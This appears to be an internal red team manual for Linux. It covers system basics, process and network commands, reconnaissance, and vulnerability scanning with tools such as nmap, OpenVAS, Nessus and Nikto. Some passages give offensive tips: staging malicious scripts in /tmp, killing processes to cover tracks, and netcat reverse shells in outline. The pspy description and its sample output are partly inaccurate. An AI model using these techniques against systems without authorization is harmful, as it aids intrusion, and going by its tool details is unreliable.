Welcome to the Red Team Manual for Linux Systems! This comprehensive guide aims to provide a standardized approach to ethical hacking and promote best practices within our red team. By following this guide, we can ensure a uniform and consistent methodology across the entire team.
The purpose of this manual is to serve as a training resource for our red team, focusing on techniques specific to Linux systems. As an ethical hacking team, we operate within the boundaries of legal and ethical frameworks, only targeting systems for which we have obtained proper permission in an active penetration testing scenario. Our objective is to identify vulnerabilities, assess the security posture of target systems, and provide actionable recommendations to enhance their defenses.
It is essential to emphasize our commitment to ethical hacking and adherence to legal and regulatory requirements. Our red team activities are governed by a well-defined set of rules of engagement that outline the scope, limitations, and authorized targets for our assessments. These rules ensure that our actions are conducted with professionalism, integrity, and respect for the privacy and security of our clients' systems.
This guide is primarily designed for members of our red team who engage in penetration testing activities on Linux systems. It assumes a basic understanding of Linux and ethical hacking concepts, making it suitable for both experienced professionals and those new to the field. Additionally, it can serve as a reference for individuals interested in learning more about Linux security or establishing their own red teaming methodologies.
To provide a comprehensive and structured approach, this manual is divided into multiple sections, each focusing on a specific aspect of red teaming on Linux systems. The sections cover a wide range of topics, including reconnaissance, vulnerability assessment, exploitation, post-exploitation, defense evasion, documentation, and legal considerations.
Within each section, you will find detailed explanations, relevant examples, and command-line usage to enhance your understanding of the concepts and techniques discussed. The guide will continually evolve and incorporate new tools, methodologies, and industry best practices to stay current with the rapidly evolving field of cybersecurity.
This manual is designed to be a resource that you can refer to throughout your red team engagements. It is recommended to read the sections sequentially, as they build upon each other, providing a logical progression of knowledge and skills. However, you can also navigate directly to specific sections based on your immediate learning needs or project requirements.
Throughout the manual, you will find examples, command-line instructions, and software recommendations that illustrate the concepts being discussed. These practical elements will help you gain hands-on experience and strengthen your technical abilities.
It is crucial to understand and acknowledge that all red team activities should be conducted within the boundaries of the law and ethical standards. Before engaging in any assessments, always ensure that proper authorization and written consent have been obtained from the respective system owners or clients. Any unauthorized access or malicious activities are strictly prohibited and may lead to severe legal consequences.
By following this guide, we aim to foster a culture of continuous learning, professional development, and adherence to ethical principles. Together, we can enhance our skills, promote best practices, and contribute to the security and resilience of the systems we assess.
Remember, the primary objective of our red team is to help organizations identify and address security weaknesses. Ethical hacking plays a crucial role in improving overall security posture, and by conducting our assessments with integrity and professionalism, we contribute to the advancement of the cybersecurity industry.
Linux is a widely used operating system known for its security, flexibility, and open-source nature. Understanding the fundamentals of Linux is essential for effective red teaming on Linux systems. In this section, we will cover key topics that will provide you with a solid foundation for your penetration testing activities.
The Linux file system follows a hierarchical structure, organized as a tree-like directory structure. Understanding the key directories and their purpose is important for navigating and managing the system effectively.
Root Directory (/): The root directory is the top-level directory in the file system hierarchy. It contains all other directories and files. It is represented by a forward slash (/) and serves as the starting point for absolute path references. For example, /home/user1 refers to the "user1" directory within the "home" directory.
Binaries Directory (/bin): The /bin directory contains essential user binaries. It houses common command-line tools that are essential for system operation and are available to all users. Some examples of binaries found in this directory are ls (used for listing directory contents), cp (used for copying files), mv (used for moving or renaming files), and cat (used for displaying file contents).
Configuration Directory (/etc): The /etc directory stores system configuration files. It holds various configuration files related to the system and its components. These files include network settings, user authentication mechanisms, application-specific configurations, and more. Examples of files found in this directory are passwd (user account information), hosts (mapping of IP addresses to hostnames), and ssh/sshd_config (SSH server configuration).
Home Directory (/home): The /home directory contains user home directories. Each user on the system is assigned a separate directory within /home, where they can store their personal files, documents, and settings. For example, if the username is "user1," their home directory would be /home/user1. This directory provides a designated space for users to manage their files and personalize their environment.
Temporary Files Directory (/tmp): The /tmp directory is used for temporary file storage. It provides a location for programs and users to store temporary files that are only needed during the current session. The contents of this directory are not preserved across system reboots and are generally cleared on startup. Due to its permissive file permissions (typically 1777 or "sticky bit" set), which allow anyone to create, modify, and delete files within it, /tmp can be an attractive directory from which to launch escalation tactics and store malicious scripts or tools.
Variable Data Directory (/var): The /var directory holds variable data. It stores files that change frequently during system operation. This directory includes log files, temporary files, databases, spool directories for printing and mail, and other data that may dynamically increase or decrease in size. For example, log files located in /var/log capture system events and activities, aiding in troubleshooting and auditing.
By understanding the purpose and organization of these key directories, red teamers can effectively navigate the file system, locate important files and configurations, and identify potential areas of interest during a penetration test.
It's important to note that the provided examples and explanations are not exhaustive, and there are other directories and subdirectories within the Linux file system that may be relevant in specific scenarios.
Understanding file and directory permissions is crucial for assessing the security of Linux systems. Linux uses a permission model that restricts access to files and directories based on user, group, and others. The permissions determine what actions can be performed on a file or directory, such as reading, writing, or executing.
Linux employs three types of permissions:
- Read (r): Allows reading and viewing the contents of a file or directory.
- Write (w): Allows modifying or deleting a file, as well as creating, deleting, or renaming files within a directory.
- Execute (x): Allows executing or running a file as a program or script. For directories, it enables accessing and traversing the directory.
The permissions are assigned to three categories: user, group, and others. The user refers to the owner of the file or directory, the group represents a set of users, and others encompass everyone else.
Permissions can be represented using numerical notation, which consists of three digits. Each digit corresponds to user, group, and others, respectively, and the values assigned to them are as follows:
- 0: No permissions.
- 1: Execute permission.
- 2: Write permission.
- 3: Write and execute permissions.
- 4: Read permission.
- 5: Read and execute permissions.
- 6: Read and write permissions.
- 7: Read, write, and execute permissions.
For example, the permissions "777" grant read, write, and execute permissions to the user, group, and others, indicating full access to the file or directory. In contrast, the permissions "644" provide read and write permissions to the user and read-only permissions to the group and others.
To manage permissions, several commands are commonly used:
chmod: The chmod command is used to change the permissions of files and directories. It allows you to add or remove permissions for the user, group, and others. The permissions can be specified in numeric or symbolic notation. Numeric notation represents permissions using three digits, where each digit corresponds to user, group, and others, respectively. For example, "chmod 644 file.txt" sets read and write permissions for the user and read-only permissions for the group and others. Symbolic notation utilizes letters (u, g, o) for user, group, and others, along with operators (+, -, =) to add, remove, or set specific permissions. For example, "chmod u+x script.sh" adds execute permissions for the user. * chown: The chown command changes the ownership of files and directories. It allows you to change the user and group ownership. For example, "chown user1:group1 file.txt" assigns the user "user1" and the group "group1" as the owners of file.txt. * chgrp: The chgrp command changes the group ownership of files and directories. It allows you to assign files and directories to different groups. For example, "chgrp group2 file.txt" changes the group ownership of file.txt to "group2."
Understanding and properly managing permissions is crucial to protect sensitive files, restrict access to unauthorized users, and prevent privilege escalation. During a penetration test, analyzing and exploiting incorrect permissions can help identify security weaknesses and gain unauthorized access to critical files or directories.
In addition to the basic permissions, Linux also supports special permissions, such as the sticky bit and setuid/setgid. The sticky bit, represented as "t" in the permission field, is commonly set on directories like /tmp. When set, it allows only the owner of a file to delete or rename it within the directory. This special permission is relevant to red team activities as /tmp, with its permissive file permissions (typically 1777 or "sticky bit" set), can be an attractive directory from which to launch escalation tactics and store malicious scripts or tools.
It's important to note that proper permission management should be practiced to maintain the security and integrity of the system, and unauthorized changes to permissions should not be made without proper authorization.
By understanding permissions and their implications, red teamers can identify misconfigurations, exploit vulnerabilities, and escalate privileges during a penetration test.
Processes are fundamental to Linux systems, and as a red teamer, understanding how to manage and interact with processes is essential. Processes are instances of executing programs or commands that are running on the system. They can be system processes or user processes, each serving different purposes.
Here are some important commands related to process management:
ps: The ps command displays information about active processes running on the system. By default, it provides a snapshot of processes associated with the current terminal session. Commonly used options include:
ps aux: Displays a comprehensive list of all running processes on the system, including details such as process ID (PID), CPU and memory usage, user, command, and more.
Use case scenario: During a red team exercise, you can use ps aux to identify processes running with elevated privileges or those associated with critical system components. Look for processes that are running as root or with unusual names or paths.
**Example command and output:
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 169528 11596 ? Ss May20 0:05 /sbin/init
root 2 0.0 0.0 0 0 ? S May20 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< May20 0:00 [rcu_gp]
...
user1 1234 0.2 1.5 312824 76832 ? S May20 2:10 /usr/bin/application
...
In the above example, the ps aux command provides a detailed list of running processes, including information about the user, PID, CPU and memory usage, and the command being executed. This output allows red teamers to identify processes with high resource consumption or those running with elevated privileges.
Additional options and variations:
ps -ef: Provides a similar output to ps aux, but uses a different format to display the process information.
ps -e --forest: Displays a hierarchical view of processes, showing their parent-child relationships.
ps -o pid,ppid,user,%cpu,%mem,cmd: Customizes the output format to show specific columns like PID, parent PID, user, CPU and memory usage, and command.
ps -U user1: Shows processes owned by a specific user, such as "user1."
kill: The kill command allows you to terminate running processes. By specifying the process ID (PID) or the process name, you can send different signals to control the behavior of the process. Some common signals used with the kill command include:
SIGTERM (signal 15): Terminates the process gracefully, allowing it to perform any necessary cleanup operations before exiting.
Use case scenario: Suppose you have gained unauthorized access to a system during a red team engagement and want to cover your tracks by terminating a specific process. You can use kill with the appropriate PID and the SIGTERM signal to gracefully terminate the process and make it appear as a normal system shutdown.
Example command:
$ kill 1234
In the above example, the kill command is used with the PID 1234 to send the SIGTERM signal to the process, requesting it to terminate gracefully. The process will perform any necessary cleanup operations before exiting, making it less suspicious compared to a sudden termination.
SIGKILL(signal 9): Forces the termination of the process without allowing it to perform any cleanup operations. This signal should be used as a last resort when a process is unresponsive or cannot be terminated gracefully.
Use case scenario: During a red team exercise, you may encounter a process that is unresponsive or refuses to terminate gracefully. In such cases, using the SIGKILL signal with the kill command can forcefully terminate the process, ensuring it is stopped regardless of its current state.
Example command:
$ kill -9 5678
In the above example, the kill command is used with the PID 5678 and the SIGKILL signal to forcefully terminate the process. This signal does not allow the process to perform any cleanup operations, making it useful when dealing with stubborn or malicious processes.
- top: The
topcommand provides real-time monitoring of system activity and resource usage. It presents a dynamic view of running processes, CPU usage, memory consumption, and other system metrics. The information is continuously updated, allowing you to observe changes in resource usage over time.topis particularly useful for identifying resource-intensive processes, tracking down performance bottlenecks, and troubleshooting issues.
Use case scenario: During a red team exercise, you can use top to identify processes consuming excessive CPU or memory resources. Look for processes that may indicate suspicious or malicious activities, such as a high CPU usage by a process that shouldn't normally be resource-intensive.
Example command:
$ top
The top command provides an interactive view of the system's current processes and resource usage. It continuously updates the information, allowing you to monitor the system in real-time. By analyzing the CPU usage, memory consumption, and other system metrics, you can identify resource-intensive processes that may require further investigation during a red team engagement.
Example output:
top - 12:34:56 up 1 day, 3:45, 2 users, load average: 0.72, 0.86, 0.91
Tasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie
%CPU(s): 23.4 us, 5.2 sy, 0.0 ni, 71.4 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
MiB Mem : 16000.0 total, 6000.0 free, 8000.0 used, 2000.0 buff/cache
MiB Swap: 2000.0 total, 1500.0 free, 500.0 used. 9000.0 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1234 user1 20 0 123456 78910 12345 R 50.0 0.5 0:01.23 suspicious_process
5678 user2 20 0 234567 90123 23456 S 10.0 0.6 0:45.67 normal_process
In the above example, the top command provides a snapshot of the system's processes and resource usage. The output includes information such as the PID, user, CPU usage (%CPU), memory consumption (%MEM), and command name (COMMAND). By observing the CPU usage and looking for unusual or resource-intensive processes, red teamers can identify potential indicators of compromise or suspicious activities during an engagement.
Understanding and effectively utilizing the top command allows red teamers to monitor system activity, track resource usage, and identify processes that may require further investigation. By keeping a watchful eye on CPU
- pstree: The
pstreecommand displays a hierarchical tree structure of processes, showing their relationships and dependencies. It provides a visual representation of the process hierarchy, making it easier to understand the parent-child relationships between processes.
Use case scenario: During a red team engagement, you can use pstree to analyze the process tree and identify critical processes that are essential for system operation. Look for processes that have parent processes with elevated privileges or those that are responsible for key system functions.
Example command:
$ pstree
The pstree command generates a tree-like structure of processes, highlighting their relationships. By examining the process tree, you can identify the parent-child relationships and understand how processes are connected to each other.
Example output:
systemd─┬─systemd-journal
├─systemd-logind
├─systemd-resolve
├─systemd-udevd
├─2*[agetty]
├─cron
├─dbus-daemon
├─networkd-dispat
├─sshd─┬─sshd───sshd───bash───pstree
│ └─sshd───sshd───bash
├─systemd─┬─(sd-pam)
│ └─(sd-pam)
└─systemd─┬─systemd
├─systemd─┬─systemd-network
│ ├─systemd-resolv
│ └─{systemd}
└─{systemd}
In the above example, the pstree command visualizes the process hierarchy. Each process is represented as a node in the tree, with its child processes indented below it. By examining the tree structure, red teamers can identify critical processes, such as the SSH server (sshd), and understand their dependencies on other processes.
- pgrep: The
pgrepcommand allows you to search for processes based on their names or other attributes and retrieve their process IDs (PIDs). It provides a convenient way to find specific processes without needing to manually search through the process list.
Use case scenario: During a red team engagement, you can use pgrep to search for processes associated with specific services or applications that might be potential targets for exploitation. For example, you can search for processes related to a vulnerable web server or database service.
Example command:
$ pgrep apache2
The pgrep command searches for processes with the specified name or attributes and returns their PIDs. By using pgrep with specific search patterns, red teamers can quickly identify relevant processes for further analysis or exploitation.
Example output:
1234
5678
In the above example, the pgrep command searches for processes with the name "apache2" and returns their PIDs. The output includes the PIDs of the processes associated with the Apache web server. This information can be useful for further investigation or targeting specific processes during a red team exercise.
- strace: The
stracecommand is used to trace and monitor system calls and signals made by a process. It provides detailed information about the interactions between a process and the operating system, including file operations, network communications, and signal handling.
Use case scenario: During a red team engagement, you can use strace to analyze the behavior of a suspicious or target process. By tracing its system calls, you can gain insights into its activities, such as file access, network connections, or potential vulnerabilities.
Example command:
$ strace -p 1234
The strace command attaches to an existing process specified by its PID and traces its system calls in real-time. By monitoring the system calls and their corresponding results, red teamers can gather valuable information about the inner workings of a process.
Example output:
strace: Process 1234 attached
open("/etc/passwd", O_RDONLY) = 3
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1876
close(3) = 0
...
In the above example, the strace command attaches to the process with PID 1234 and traces its system calls. The output shows the sequence of system calls made by the process, such as opening a file (open), reading from a file (read), and closing a file (close). By analyzing the system calls, red teamers can gain insights into the process's behavior and potentially uncover vulnerabilities or suspicious activities.
By utilizing these additional commands, red teamers can expand their process management capabilities and gain deeper insights into system activities during engagements. These commands provide valuable information for identifying critical processes, searching for specific processes, visualizing process hierarchies, and tracing system calls.
In addition to these commands, red teamers can also leverage specialized tools like pspy for enhanced process monitoring. Pspy is a powerful tool that allows you to monitor processes at the kernel level, providing insights into process execution, system calls, and other activities. It is typically used during an active red team engagement after the target system has been compromised and pspy has been successfully installed.
Pspy enables red teamers to observe processes and their interactions on the compromised system, potentially uncovering hidden activities or indicators of compromise that might go undetected by traditional monitoring tools.
When monitoring pspy's output during an active red team exercise, you should look for specific indicators that can help identify suspicious or malicious activities:
- Unusual processes or commands: Pay attention to any processes or commands that are executed or spawned on the system but are not part of normal operations. These could indicate unauthorized activities or the presence of malicious software.
Example output:
2023/05/25 13:30:01 CMD: UID=0 PID=1234 | /usr/bin/suspicious-command
- Privilege escalation attempts: Watch for attempts to execute commands with elevated privileges or access sensitive system files. These actions may indicate an adversary's attempt to escalate privileges and gain further control over the system.
Example output:
2023/05/25 13:30:03 OPEN: UID=1001 PID=5678 | /etc/passwd
- File manipulation in critical directories: Look for any creation or modification of files in critical directories, such as system directories or directories containing sensitive information. These activities may suggest attempts to establish persistence, perform unauthorized actions, or modify critical configuration files.
Example output:
2023/05/25 13:30:05 WRITE: UID=0 PID=9012 | /var/log/backdoor.log
- Network connections or communication: Monitor for network connections initiated by suspicious processes, which may indicate command-and-control (C2) activities or data exfiltration attempts.
Example output:
2023/05/25 13:30:07 ACCEPT: UID=1000 PID=3456 | 192.168.0.1:4444
Please note that using pspy assumes that the target system has already been compromised and pspy has been successfully installed. It is important to ensure proper authorization and adherence to legal and ethical guidelines when performing red team activities.
You can download pspy from the following links for the respective 32-bit and 64-bit versions:
- 32-bit version:Download pspy (32-bit)
- 64-bit version:Download pspy (64-bit)
After downloading pspy, transfer it to the compromised system and follow the appropriate steps to install and run it, depending on the specific target system and circumstances.
By incorporating pspy into their red teaming toolkit, security professionals can gain deeper insights into process activities at the kernel level, enabling them to detect and respond to potential threats more effectively within the compromised system.
Networking plays a vital role in red teaming, and understanding key networking concepts and tools is crucial for successful engagements. Here are some important commands for network-related tasks:
ping: The ping command is used to check network connectivity between the attacker machine and a target system. It sends ICMP echo requests to the target IP address or hostname and waits for ICMP echo replies. This helps verify if a host is reachable and provides an indication of the network latency. Example: ping 192.168.1.1.
nc (netcat): Netcat is a versatile networking utility that allows for establishing TCP or UDP connections, port scanning, and data transfer. It can be used for various tasks during a penetration test, including banner grabbing, port forwarding, creating reverse shells, and transferring files. Example: nc -nv <target IP> <port>.
nmap: Nmap is a powerful network scanning tool used for host discovery, service and operating system detection, and vulnerability scanning. It provides a wide range of scanning techniques and options to gather information about the target network. Some commonly used Nmap commands include:
nmap -sn <target network>: Performs a ping scan to discover live hosts in a network.nmap -sS <target>: Performs a TCP SYN scan to identify open ports on a target system.nmap -A <target>: Enables aggressive scanning, including OS detection, version detection, script scanning, and traceroute.
iptables: Iptables is a firewall management tool that allows for the configuration of packet filtering rules. It is used to control incoming and outgoing network traffic on a Linux system. Understanding how to configure firewall rules using iptables is crucial for assessing the security of network services and implementing appropriate network defenses.
Being proficient in networking concepts and tools allows for effective reconnaissance, vulnerability identification, and exploitation of target systems. These tools provide the foundation for understanding the network infrastructure, discovering vulnerabilities, and gaining unauthorized access during a red team engagement.
It's important to note that all network activities should be performed within the agreed rules of engagement and with proper authorization. Unauthorized scanning or exploitation of network systems is illegal and unethical. Always ensure that you have the necessary permission and legal authorization before conducting any network-related activities.
The command line interface (CLI) is the primary interface used in Linux systems. Familiarity with essential command line operations enhances productivity and efficiency during red team engagements. Here are some additional fundamental command line operations:
Navigating Directories:
cd: Use thecdcommand followed by a directory name to change to that directory. For example,cd Documentschanges the current directory to the "Documents" directory.ls: Thelscommand lists the contents of the current directory. Commonly used options include-lfor a detailed listing,-ato show hidden files, and-hfor human-readable file sizes.pwd: Thepwdcommand prints the current working directory, showing the full path of the current directory.
File Operations:
cp: Thecpcommand is used to copy files and directories. For example,cp file.txt /path/to/destinationcopies the file "file.txt" to the specified destination.mv: Themvcommand is used to move or rename files and directories. For example,mv file.txt newname.txtrenames the file "file.txt" to "newname.txt".rm: Thermcommand is used to remove files and directories. Use the-roption to remove directories recursively. Exercise caution when usingrmto avoid unintentional data loss.
File Manipulation:
-
cat: Thecatcommand is used to display the contents of a file. For example,cat file.txtshows the content of "file.txt" in the terminal. -
grep: Thegrepcommand is used to search for specific patterns in files. For example,grep "keyword" file.txtsearches for the word "keyword" in the file "file.txt". -
Text Editors:
nano: Nano is a simple and user-friendly text editor. Usenanofollowed by the filename to open a file for editing.vim: Vim is a powerful and highly customizable text editor. Usevimfollowed by the filename to open a file for editing.
Archiving and Compression:
tar: Thetarcommand is used to create and extract archives. Common options include-cto create an archive,-xto extract files from an archive, and-fto specify the archive file name.gzipandgunzip:gzipis used to compress files, whilegunzipis used to decompress compressed files. For example,gzip file.txtcompresses "file.txt" into "file.txt.gz".
Mastering these command line operations allows for efficient navigation, file manipulation, and basic text editing during red team engagements. These skills enable effective exploration and exploitation of target systems.
Linux provides extensive documentation and resources that can be invaluable for understanding its intricacies and expanding your knowledge as a red teamer. Here are some helpful resources:
Man Pages: The man command displays manual pages for various commands and system utilities. It provides detailed information on command usage, options, and examples. To access the manual page for a specific command, use the man command followed by the command name. For example, man ls displays the manual page for the ls command.
Online Forums and Communities: Online forums like Stack Overflow, Reddit's r/linux, and Linux-specific communities such as LinuxQuestions.org and LinuxForums.org provide a platform to ask questions, seek guidance, and learn from experienced Linux users. These communities are valuable sources of knowledge and can help you troubleshoot issues, discover new tools and techniques, and stay updated on the latest developments in the Linux world.
Official Documentation: Linux distributions such as Ubuntu, CentOS, Debian, and Arch Linux have comprehensive official documentation that contains guides, tutorials, and references. These documentation resources cover a wide range of topics, including system administration, networking, security, and more. The official documentation is often available online, and you can access it through the respective distribution's website.
Blogs and Websites: Many cybersecurity professionals, Linux enthusiasts, and red teamers maintain blogs and websites where they share their knowledge and experiences. These resources often provide in-depth tutorials, tips, tricks, and real-world scenarios related to Linux and red teaming. Some popular blogs and websites in the cybersecurity and Linux communities include LinuxSecurity.com, The Linux Documentation Project, and the Offensive Security blog.
By leveraging the wealth of Linux documentation and resources available, you can deepen your understanding, enhance your skills, and stay up-to-date with the latest trends and techniques in the field of red teaming. These resources can provide valuable insights, practical examples, and guidance to help you excel in your penetration testing activities.
Information gathering and reconnaissance lay the foundation for a successful red team engagement. This phase involves gathering intelligence about the target system, identifying potential vulnerabilities, and understanding the network architecture. In this section, we will explore various methods and tools for effective information gathering.
3.1 Passive Information Gathering
Passive information gathering involves collecting data about the target system and its infrastructure without directly interacting with it. This approach minimizes the risk of detection and can provide valuable insights. Here are some techniques commonly used in passive information gathering:
3.1.1 Open-Source Intelligence (OSINT)
Open-Source Intelligence (OSINT) involves gathering information from publicly available sources, such as search engines, social media, public records, and job postings. It helps create a comprehensive profile of the target organization.
- OSINT Tools: Tools like
theHarvester,Maltego, andGoogle dorkscan aid in automating data collection from various online sources. These tools streamline the process of gathering information, such as email addresses, employee names, job titles, and other valuable data.
Simulated Attack Scenario - OSINT Profiling
In a simulated attack scenario, OSINT profiling can provide valuable insights into the target organization and potential attack vectors.
- Perform OSINT research to collect information about the target organization, such as employee names, email addresses, job titles, and public-facing systems.
- Utilize search engines, social media platforms, company websites, and professional networking sites to gather relevant data.
- Combine the collected information to build a profile of potential targets and attack vectors.
- Analyze the collected data to identify potential vulnerabilities or entry points for further penetration testing activities.
3.1.2 DNS Enumeration
DNS enumeration involves discovering and gathering information about the target's DNS infrastructure, such as subdomains and associated IP addresses. This information can provide insights into the target's online presence and potential entry points.
- DNS Enumeration Tools: Tools like
dnsenum,dnsrecon, andfierceautomate the process of DNS enumeration by querying DNS servers, searching for subdomains, and identifying associated IP addresses.
Simulated Attack Scenario - DNS Enumeration
In a simulated attack scenario, DNS enumeration can help identify potential subdomains and provide insights into the target's DNS infrastructure.
- Use DNS enumeration tools to enumerate subdomains and gather information about the target's DNS infrastructure.
- Analyze the obtained information to identify potentially interesting subdomains that may indicate external services or applications.
- Further investigate the identified subdomains for potential vulnerabilities or misconfigurations that can be leveraged for penetration testing.
3.1.3 WHOIS Lookup
WHOIS lookup provides registration information about domain names, including the registrant's name, organization, contact details, and domain expiration date. Performing a WHOIS lookup can reveal valuable information about the target domain.
- WHOIS Lookup Tools: Tools like
whois,dnstwist, and online WHOIS lookup services facilitate retrieving domain registration information quickly and efficiently.
Simulated Attack Scenario - WHOIS Lookup
In a simulated attack scenario, performing a WHOIS lookup can provide insights into the target domain and help identify potential vulnerabilities or points of contact.
- Perform a WHOIS lookup to gather information about the target domain, including the registrant's details and domain expiration date.
- Analyze the registration information to identify potential weaknesses, such as outdated contact details or nearing domain expiration.
- Use the obtained information as part of the overall reconnaissance process to target specific individuals or gain insights into the target organization's infrastructure.
3.1.4 Shodan - The Search Engine for Devices
Shodan is a powerful search engine designed for discovering and collecting information about devices and services connected to the internet. It provides a comprehensive database of open ports, banners, and various device information, making it a valuable tool for passive reconnaissance in red teaming.
- Shodan allows red teamers to search for devices, services, and vulnerabilities. It provides data on open ports, banners, and sometimes even product version information. This makes it an excellent resource for identifying potential targets and their configurations.
Simulated Attack Scenario - Shodan Discovery
In a simulated attack scenario, Shodan can be used to uncover valuable information about potential targets and their exposed services.
- Access Shodan's web interface or API to initiate searches for specific services or devices relevant to the target.
- Utilize Shodan's search filters to narrow down the results, such as filtering by IP address range, geolocation, or specific keywords related to the target organization.
- Analyze the search results to identify devices, open ports, and banners that may indicate vulnerable or misconfigured systems.
- Cross-reference the data from Shodan with other passive information gathering techniques, such as OSINT and DNS enumeration, to build a more comprehensive profile of the target infrastructure.
It's essential to note that while Shodan is a valuable resource for reconnaissance, it should be used with utmost care and ethics. Always ensure that your use of Shodan is within the confines of legal and ethical considerations, and obtain proper authorization to conduct any activities related to Shodan during your red teaming engagements.
By incorporating Shodan into your passive information gathering toolkit, you can enhance your ability to identify potential targets, their configurations, and vulnerabilities, thus helping you in creating more effective attack vectors and guiding your penetration testing activities.
By utilizing these passive information gathering techniques, you can collect valuable data about the target system and infrastructure without direct interaction. This information can be used to identify potential vulnerabilities, create attack vectors, and guide further penetration testing activities. Remember to always adhere to legal and ethical considerations and obtain proper authorization before performing any information gathering activities.
Active information gathering involves direct interaction with the target system to gather more detailed information. This approach may increase the risk of detection but provides more comprehensive insights. Here are some techniques commonly used in active information gathering:
3.2.1 Port Scanning
Port scanning involves scanning the target system's network ports to identify open ports, services running on those ports, and potential vulnerabilities.
- Port Scanning Tools: Tools like
nmap,Masscan, andZMapcan be used to perform port scanning and provide information about open ports and the services associated with them.
Simulated Attack Scenario - Port Scanning
In a simulated attack scenario, port scanning helps identify open ports and potential entry points into the target system.
- Conduct a port scan using tools like
nmapto identify open ports on the target system. - Analyze the services running on the open ports and check for known vulnerabilities associated with those services.
- Prioritize further testing and exploitation based on the identified open ports and associated services.
3.2.2 Service Enumeration
Service enumeration aims to gather detailed information about the services running on open ports, including version numbers, banners, and supported protocols.
- Service Enumeration Tools: Tools like
Nmap,BannerGrab, andNSE scriptscan be used to enumerate services and gather detailed information about them.
Simulated Attack Scenario - Service Enumeration
In a simulated attack scenario, service enumeration helps gather information about the target system's services and identify potential vulnerabilities.
- Perform service enumeration on the open ports identified during port scanning.
- Use tools like
NmapandBannerGrabto gather information such as version numbers, banners, and supported protocols. - Analyze the obtained information to identify known vulnerabilities associated with the discovered services.
- Prioritize vulnerabilities based on their severity and potential impact on the target system.
3.2.3 Vulnerability Scanning
Vulnerability scanning involves identifying potential vulnerabilities in the target system by scanning for known vulnerabilities in its services and software.
- Vulnerability Scanning Tools: Tools like
OpenVAS,Nessus, andNiktoautomate the vulnerability scanning process by scanning for known vulnerabilities in services and software.
Simulated Attack Scenario - Vulnerability Scanning
In a simulated attack scenario, vulnerability scanning helps identify potential vulnerabilities in the target system.
- Utilize vulnerability scanning tools like
OpenVASorNessusto scan the target system for known vulnerabilities. - Analyze the scan results and prioritize vulnerabilities based on their severity and potential impact on the target system.
- Further investigate the identified vulnerabilities and exploit them as part of the penetration testing process.
By employing these active information gathering techniques, you can gain a more comprehensive understanding of the target system and identify potential vulnerabilities. However, it is crucial to obtain proper authorization and adhere to legal and ethical considerations before performing any active information gathering activities.
Thorough documentation and analysis of the gathered information are essential for effective reconnaissance. Creating a detailed report that summarizes the findings, identifies potential attack vectors, and prioritizes targets based on their risk level is crucial for a successful red team engagement.
Simulated Attack Scenario - Documentation and Analysis
In a simulated attack scenario, proper documentation and analysis of the gathered information play a critical role in understanding the target system's vulnerabilities and potential attack vectors.
- Documenting Gathered Information: Create a comprehensive report that includes all the gathered information from the passive and active information gathering phases. This should include OSINT findings, DNS enumeration results, port scanning reports, and vulnerability scan results. Be sure to organize the information in a structured and easily understandable format.
- Analyzing the Data: Analyze the gathered information to identify potential attack vectors, weak points, and areas of focus for further penetration testing. Look for patterns, vulnerabilities, and any potential security gaps that could be exploited. Consider the interdependencies between different pieces of information to gain a holistic understanding of the target system.
- Identifying Attack Vectors: Based on the analysis, identify potential attack vectors that can be leveraged to gain unauthorized access or compromise the target system's security. This could include weak passwords, unpatched software, misconfigurations, or other vulnerabilities discovered during the reconnaissance phase.
- Risk Prioritization: Prioritize the identified attack vectors and targets based on their risk level. Assign a risk rating to each potential vulnerability or attack vector, considering factors such as impact severity, exploitability, and potential business impact. This prioritization will guide the subsequent stages of the red team engagement, focusing efforts on the most critical areas.
- Clear Reporting: Create a concise and clear report that summarizes the findings, identifies the potential attack vectors, and provides recommendations for remediation. Present the information in a manner that is understandable to both technical and non-technical stakeholders, ensuring that the report effectively communicates the risks and impacts of the identified vulnerabilities.
Remember to maintain a meticulous record of the information gathered during the reconnaissance phase, as it forms the basis for the subsequent stages of the red team engagement. Proper documentation and analysis will facilitate effective decision-making, enhance the overall penetration testing process, and help the organization improve its security posture.
Vulnerability assessment and scanning are critical components of a red team engagement. This phase involves identifying vulnerabilities, misconfigurations, and weaknesses in the target system. In this section, we will explore various methods and tools for comprehensive vulnerability assessment and scanning.
4.1 Automated Vulnerability Scanners
Automated vulnerability scanners are powerful tools that can efficiently identify known vulnerabilities in target systems and provide detailed reports. These scanners automate the vulnerability assessment process, allowing for efficient identification of potential security weaknesses. Here are some popular tools for automated vulnerability scanning:
4.1.1 OpenVAS (Open Vulnerability Assessment System)
OpenVAS is a robust open-source vulnerability scanner designed to identify security vulnerabilities in networks and systems. It offers a comprehensive set of scanning capabilities and a vast vulnerability database. OpenVAS can be operated through the command line using the OpenVAS Management Protocol (OMP).
- Command Line Example:
<span class="hljs-comment"># Start an OpenVAS vulnerability scan</span>
<span class="hljs-variable">$ </span>omp -u admin -w password --xml=<span class="hljs-string">"<get_tasks/>"</span>
<span class="hljs-comment"># Retrieve the results of a specific task</span>
<span class="hljs-variable">$ </span>omp -u admin -w password --xml=<span class="hljs-string">"<get_results task_id='task_id'/>"</span>
- Online Resource:OpenVAS Documentation
4.1.2 Nessus
Nessus is a widely recognized commercial vulnerability scanner known for its extensive vulnerability database and comprehensive scanning capabilities. It supports a range of scanning options and provides detailed reports on identified vulnerabilities. Nessus can be operated through the command line using the Nessus Command Line Interface (CLI).
- Command Line Example:
<span class="hljs-comment"># Start a Nessus vulnerability scan</span>
<span class="hljs-variable">$ </span>nessuscli scan new target=<span class="hljs-string">"192.168.0.1"</span> template=<span class="hljs-string">"basic"</span> name=<span class="hljs-string">"My Scan"</span>
<span class="hljs-comment"># Fetch the scan report</span>
<span class="hljs-variable">$ </span>nessuscli report fetch report_id=<span class="hljs-string">"report_id"</span> format=<span class="hljs-string">"nessus"</span>
- Online Resource:Nessus Documentation
4.1.3 Nikto
Nikto is an open-source web server scanner that specializes in finding common web server vulnerabilities and misconfigurations. It focuses on performing comprehensive scans of web servers and generating detailed reports on identified issues. Nikto can be operated through the command line.
- Command Line Example:
<span class="hljs-comment"># Scan a target web server using Nikto</span>
<span class="hljs-variable">$ </span>nikto -h target_server.com
- Online Resource:Nikto GitHub Repository
